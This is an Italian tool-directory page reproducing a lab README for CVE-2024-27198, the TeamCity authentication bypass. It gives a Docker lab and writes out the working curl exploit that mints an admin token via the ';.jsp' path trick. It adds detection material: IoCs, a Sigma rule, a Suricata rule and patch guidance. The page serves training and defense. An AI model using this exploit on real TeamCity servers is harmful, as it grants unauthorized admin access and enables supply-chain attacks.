Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-27198_LAB | Kitploit
Strumenti/GitHubGitHub/ne0zer01/cve-2024-27198_lab
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingThreat IntelligenceRilevamento IntrusioniApprendimento e FormazioneRisposta agli IncidentiAnalisi dei LogLab e Pratica
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

Vedi Repository

Laboratorio CVE-2024-27198

Descrizione

TeamCity fornisce una pagina riservata agli amministratori per la gestione dei token che non è protetta da autenticazione. Ciò consente a un utente non autenticato di generare un token di accesso per l'utente amministratore se riesce a trovare l'ID di un utente esistente.


Dettagli CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Punteggio base: 9.8 CRITICO
  • Vettore:
    • CVSS:3.1
    • AV:N Network
    • AC:L Low
    • PR:N None
    • UI:N None
    • S:U Unchanged
    • C:H High
    • I:H High
    • A:H High

Intelligence sulle minacce e OSINT

Impatto reale e sfruttamento

  • Catalogo CISA KEV: Aggiunto il 7 marzo 2024, confermando lo sfruttamento attivo in ambienti reali.
  • Attori delle minacce: Sfruttato da molteplici gruppi ransomware e APT, in particolare il gruppo ransomware BianLian e la variante ransomware Jasmin. Gli attaccanti hanno utilizzato questo bypass per creare account amministratore non autorizzati, distribuire plugin dannosi ed eseguire codice arbitrario (RCE) per muoversi lateralmente all'interno delle reti delle vittime.
  • Profilo del bersaglio: Le pipeline CI/CD sono bersagli di alto valore (attacchi alla supply chain). Compromettere TeamCity consente agli attaccanti di iniettare codice malevolo nelle build software, rubare il codice sorgente ed estrarre segreti di deployment (chiavi AWS, certificati).

Perché questa CVE è critica

La vulnerabilità risiede nel meccanismo di routing dell'API REST. Aggiungendo caratteri specifici (come ?jsp=/app/rest/...;.jsp) a un endpoint non autenticato, gli attaccanti possono ingannare il server web di TeamCity facendogli instradare la richiesta verso un endpoint autenticato, bypassando i filtri di sicurezza. Questo non richiede alcuna conoscenza o accesso preliminare, rendendola una pura 9.8 CVSS.


Passaggi per riprodurre

Avvia i container

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

Accedi all'istanza TeamCity vulnerabile all'indirizzo http://localhost:8111. Accedi all'istanza TeamCity patchata all'indirizzo http://localhost:8112.


Portale di accesso

Nome utente:

root@kitploit:~
admin

Password:

root@kitploit:~
admin

Testa la vulnerabilità

Richiesta GET per una risorsa senza autenticazione:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

Entrambe dovrebbero restituire un errore con codice di stato 401.


Genera un token per l'utente amministratore

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Questo dovrebbe restituire un token simile a questo (il token è diverso ogni volta):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Questo dovrebbe restituire un errore con codice di stato 401 perché l'istanza patchata non presenta la vulnerabilità.


Verifica il token

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Dovrebbe restituire l'elenco degli utenti.


Elimina il token

  1. Vai su http://localhost:8111 con l'account amministratore.
  2. Fai clic sull'icona del profilo in alto a destra.
  3. Vai su Profilo -> Token di accesso.
  4. Vedrai il token "REDTEAM".
  5. Fai semplicemente clic su Elimina accanto al token.

Blue Team: caccia agli IoC nei log (il fattore stealth)

Durante la dimostrazione in laboratorio, puoi mostrare un'importante scoperta per il Blue Team: per impostazione predefinita, questa vulnerabilità è incredibilmente stealth!

  1. I log di accesso di Tomcat sono disabilitati per impostazione predefinita nell'immagine Docker di TeamCity, quindi le richieste HTTP ;.jsp non vengono registrate.
  2. Il log di audit di TeamCity non registra la creazione di token tramite l'API REST.

Quindi come lo intercettiamo? Quando l'attaccante copre le proprie tracce! Quando l'attaccante elimina il proprio token non autorizzato per nascondersi, TeamCity lo registra.

Trova l'attaccante che copre le proprie tracce nei log di audit:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Vedrai una voce di log che indica che il token "REDTEAM" è stato eliminato).


Ferma i container

root@kitploit:~
docker compose -f docker-compose.yml down

Mitigazione e rilevamento

Analisi tecnica (CWE-288)

Questa vulnerabilità è un'istanza di CWE-288: bypass dell'autenticazione tramite un percorso o canale alternativo. Il difetto deriva da un problema di confusione del percorso tra il server web Tomcat e il router dell'applicazione TeamCity. Aggiungendo ;.jsp e passando l'endpoint REST API di destinazione nel parametro jsp=, il filtro di sicurezza iniziale interpreta la richiesta come una richiesta non autenticata a un file .jsp pubblico (che è consentito). Tuttavia, il router interno rimuove ;.jsp e inoltra la richiesta all'endpoint /app/rest/ riservato senza applicare il filtro di autenticazione.

Caso d'uso legittimo (perché ; è consentito?): Tomcat utilizza il punto e virgola (;) per i parametri Matrix. Storicamente, questo meccanismo viene usato per passare parametri direttamente nel percorso, ad esempio aggiungendo JSESSIONID per mantenere lo stato della sessione utente quando i cookie sono disabilitati. Questo comportamento normale e legittimo del server web, combinato con la validazione impropria da parte del router dell'applicazione TeamCity, è ciò che crea la vulnerabilità.

Indicatori di compromissione (IoC)

Per rilevare una compromissione in corso o passata, i Blue Team dovrebbero cercare:

  1. Log web: richieste HTTP destinate agli endpoint /app/rest/ ma contenenti la stringa anomala ;.jsp nell'URI.
  2. Log di audit (teamcity-server.log): generazione inspiegabile di token di accesso o creazione di nuovi account amministrativi.
  3. Livello di sistema: installazione di plugin sconosciuti o sospetti (spesso usati dagli attaccanti per elevare i privilegi e ottenere l'esecuzione remota di codice).

Rilevamento tramite log (regola Sigma)

Poiché l'exploit iniziale è stealth per impostazione predefinita, i Blue Team devono affidarsi al rilevamento delle azioni post-exploitation dell'attaccante, come la copertura delle proprie tracce. Ecco una regola Sigma per il tuo SIEM per rilevare eliminazioni sospette di token:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

Demo live SIEM (Blue Team)

Per dimostrare che questo rilevamento funziona, esegui lo script siem_simulator.py.

  1. Apri un secondo terminale accanto al terminale dell'exploit.
  2. Assicurati che il container vulnerabile sia in esecuzione (docker compose up -d).
  3. Esegui il simulatore:
root@kitploit:~
python3 siem_simulator.py
  1. Nel primo terminale, esegui l'exploit, verifica il token e poi elimina il token tramite l'interfaccia web.
  2. Osserva il secondo terminale accendersi con un avviso critico rosso che mostra la regola Sigma che intercetta l'attaccante mentre copre le proprie tracce!

Correzioni

  • Patch ufficiale: aggiorna TeamCity alla versione 2023.11.4 o successiva, che igienizza correttamente e applica il matching delle route sul backend.
  • Soluzione alternativa: se la patch non è possibile, JetBrains ha rilasciato un plugin di patch di sicurezza che può essere installato sulle istanze vulnerabili.

Rilevamento di rete (regola Suricata / Snort)

Per rilevare questo tentativo di sfruttamento in rete, un SOC può implementare la seguente regola IDS, che cerca il pattern anomalo ;.jsp combinato con i percorsi dell'API REST:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Testa la versione patchata (dimostrazione in laboratorio)

Per dimostrare che la mitigazione funziona, puoi lanciare lo stesso identico payload dell'exploit contro il container TeamCity patchato in esecuzione sulla porta 8112:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Poiché la patch applica rigorosamente il matching delle route e igienizza correttamente i parametri matrix, il bypass fallirà. Dovresti vedere una risposta 401 Unauthorized o 404 Not Found invece di un token generato.


Link

  • CVE-2024-27198
Scarica lo strumento